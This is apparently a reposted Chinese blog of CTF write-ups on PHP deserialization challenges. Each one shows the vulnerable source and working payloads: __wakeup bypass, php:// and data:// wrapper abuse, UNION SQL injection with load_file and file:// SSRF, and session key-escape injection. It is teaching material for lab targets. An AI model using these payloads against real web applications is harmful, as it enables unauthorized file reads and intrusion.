ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

buu刷题笔记之反序列化

2021-10-17 14:32:37  阅读:153  来源: 互联网

标签:function php img 之反 flag file 序列化 刷题


[极客大挑战 2019]PHP

解题思路:打开题目,提示有备份=源码。于是上手7kb加CTF源码泄露字典。

发现www.zip压缩包,下载解压后发现源码

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

分析源码:只有username=admin、password=100才能得到flag。但wakeup魔法函数会强制将username=guest,所以需要绕过wakeup。

Index.php代码截图如下(注意圈出的)

反序列化的入口就是select参数。

有了思路就来构造payload。

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
}
$a=new Name("admin","100");
echo serialize($a);
?>

输出结果

然后

  1. 因为要绕过wakeup,把Name后的数字改成3或更大

  2. 因为usernamepassword是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00

payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[ZJCTF 2019]NiZhuanSiWei

审计源码

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

看到有include文件包含,是解题的重点,所以先看第一个if,必须先满足它,text不为空,且file_get_contents()读取的返回值为welcome to the zjctf。file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没没有一个文

件,而是读取的text变量。而如果直接给text赋值text=welcome to the zjctf的话,没有回显,说明没成功,所以需要用方法绕过它,就有两种方法:

1、php://input伪协议

此协议需要allow_url_includeon,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内

容,好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用Burp抓包。看到有回显,可行

2、data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似

 再看第二个if file不能有flag字符,没啥,往下看。
提示了有一个useless.php,想到之前说的PHP伪协议中的php://filter读取文件,于是便尝试一下

php://filter/read=convert.base64-encode/resource=useless.php

所以构造payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

然后base64解码得useless.php的源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

看到有一个 flag.php ,并且file不为空将读取flag.php并显示,所以构造一个序列化字符串

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
$a->file="flag.php";
echo serialize($a);
?>  

构造payload:

http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome to the zjctf&file=php://filter/read/convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

无flag回显,这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag(需修改为 useless.php)
最终payload:

http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

访问后f12即可见flag

[网鼎杯 2018]Fakebook

进入页面,常规审计F12无发现,这边先扫一下有无泄露扫目录,发现存在robots.txt和flag.php,访问后发现源码泄露/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。

curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。

curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。

经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。

2,get()函数存在ssrf漏洞。

显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。

 发现页面view.php?no=1存在数字型注入,经过简单判断有4个字段
注入发现union被过滤,使用/**/绕过

 发现显示位username。

法一:ssrf+反序列化+sql注入

根据报错信息可知:

  1. 网站绝对路径(/var/www/html/)

  2. 数据库里的数据都是反序列存储

因此只要访问/var/www/html/flag.php就可以拿到flag,但通过http(s)协议无法读到flag,curl不仅支持http(s),还支持file协议,所以可以通过file协议读文件
我们在此猜测(暂时未发现线索说明flag就是这个位置的,只能猜,而确实是猜出来的)位置为/var/www/html/flag.php

<?php 
class UserInfo{
    public $name="1";
    public $age=2;
    public $blog="file:///var/www/html/flag.php";

}
$a=new UserInfo();
echo serialize($a);
?>

得到反序列化字符串:

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

所以接下来只要把这段字符串放在get接受的位置即可(加单引号包裹)

Payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

至于为何在4位点插入串,因为我们之前猜测ssrf的利用位置在blog--4位点,别的位置无法curl_exec()造成ssrf

 f12审计得到flag

法二:sql注入load_file()利用报错的绝对路径直接查到flag.php

因为我们已经猜测了flag.php的位置,所以确认存在sql之后,我们可以利用load_file函数:

Payload:?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

 

 

 F12空白区域,直接得到flag

[网鼎杯 2020 青龙组]AreUSerialz

打开页面,代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

总结:
1.传入str,经过处理反序列化。
2.is_valid过滤:传入的string要是可见字符ascii值为32-125。
3.$op:op=="1"的时候会进入write方法处理,op=="2"的时候进入read方法处理。

is_valid过滤-绕过:
正常构造payload的话因为op、fliename、$content都是protected属性,序列化的的结果的属性名前面会有/00/00(或者%00%00),/00的ascii为0不可见的字符如下图,就会被is_valid方法拦下来。
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
弱类型绕过,然后最后执行到:$obj=unserialize($str)会调用__destruct魔术方法,如果op="2"的话就把op="1"

 这时候要使op="2"不成立且op=="2"成立,这里可以自己使用op等于整数2而非字符”2”使得进入read方法里面,然后构造序列化字符串:

<?php
class FileHandler {

    public $op=2;
    public $filename="flag.php";
    public $content;

}
$a=new FileHandler();
$b=serialize($a);
echo $b;

最后payload:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

 

查看源码即可看到flag,或者使用PHP伪协议读取flag.php:

<?php
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}
$a=new FileHandler();
$b=serialize($a);
echo $b;

得到base64解码得到flag

[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

序列化后的结果是一串字符串。

反序列化会解开序列化的字符串生成相应类型的数据。

如以下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag和test

<?php
$img['one'] = "flag";
$img['two'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化部分:

经过serialize序列化后生成了相应的字符串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}

a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。

花括号中的s都表示string即字符串,

s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

反序列化部分:

unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。

可见解序列化后由变量$b,接收了img数组。

序列化中每个字母的表示

aarray数组
b boolean判断类型
d double浮点数
i integer整数型
o common object 一般的对象
r reference引用类型
s string字符串类型
C custom object
O class
N null
R pointer reference
U unicode string

发现d0g3_f1ag.php

我把可以对应起来的代码放到了一起

$function = @$_GET['f'];

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。

$function发挥作用的代码块,在最下方的判断句。

咱们初步访问的时候f=highlight_file,

判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。

我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。

所以可以猜测flag应该要从d0g3_f1ag.php拿。

发现变量覆盖

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

filter函数是为了过滤用的,可以先继续往下看,到如下的时候。

我萌发现unset函数将$_SESSION销毁了。

然后重新赋予$_SESSION了新的值。

最后调用了extract($_POST);

变量覆盖举例

根据extract()我们可以进行变量覆盖,

当我们传入SESSION[flag]=123时,$SESSION["user"]和$SESSION['function'] 全部会消失。

只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

 键值逃逸

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

示例

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

$_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。

payload

post一个数据。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,

那么 ;s:1:"1"; 这几个字符呢?

现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,

s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。

两个键值分别被序列化成了

s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。

右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。

注入

payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 

发现/d0g3_fllllllag

 

 

拿flag 

/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替换原来的就好。

payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

 

得到flag

标签:function,php,img,之反,flag,file,序列化,刷题
来源: https://www.cnblogs.com/pursue-security/p/15415735.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有